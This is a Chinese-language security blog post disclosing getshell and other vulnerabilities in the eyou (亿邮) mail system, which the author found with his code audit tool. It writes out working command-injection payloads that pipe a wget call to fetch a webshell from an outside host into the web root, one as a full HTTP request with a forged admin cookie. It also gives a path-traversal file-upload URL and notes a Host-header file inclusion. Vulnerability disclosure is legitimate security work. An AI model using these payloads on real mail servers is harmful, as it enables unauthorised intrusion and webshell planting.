eyou(亿邮)邮件系统两个getshell和两个有意思的漏洞

作者: seay 

最近在给一家市值过百亿美金的公司做渗透测试,发现其中一个域名用的亿邮邮件系统,就顺便下了套亿邮的源码看了看,发现这套系统的安全性还停留在零几年,问题一大堆,找到一些getshell,简单列两个,再拧两个稍微有意思的漏洞分享一下,就不写详细分析了。

另外过段时间会更新一版代码审计系统,会加几种漏洞类型的审计规则,还有优化误报。这次发现亿邮的所有漏洞都是Seay源代码审计系统自动化挖掘到的。

 

命令执行1

[php]

http://0day5.com/swfupload/upload_files.php?uid=
|wget+http://www.yourshell.cn/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain=

[/php]

命令执行2

[php]

GET /admin/domain/ip_login_set/d_ip_login_get.php?allow=allow&type=deny&domain=|wget+http://www.yourshell.cn/1.txt+-O+/var/eyou/apache/htdocs/grad/admin/a.php HTTP/1.1
Host: mail.host.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 0
cookie: cookie=admin 1
DNT: 1
Connection: keep-alive
[/php]

20140723081617_66063

任意文件上传

Swfupload/upload_files.php? uid=admin&token=youtoken/../../

20140723081659_90022

 

这里本来可以无需登陆直接上传任意文件的,但是在linux下,is_dir()函数判断一个路径是否是目录,在用../跳转目录时,必须路径中的目录都存在,但是windows下面可以是不存在的路径,到底是系统问题还是php问题,这个等有时间再去研究。

看看这个图就明白了

20140723082238_96131

 

 

很多文件头顶还有一个文件包含,但是是http头里面的host字段,在网站是默认情况下,这个host是可以伪造的,但是不能有斜杠这域名中不存在的字符,否则会400错误,所以这里只能包含同目录下面的文件。

20140723082538_75440

发表评论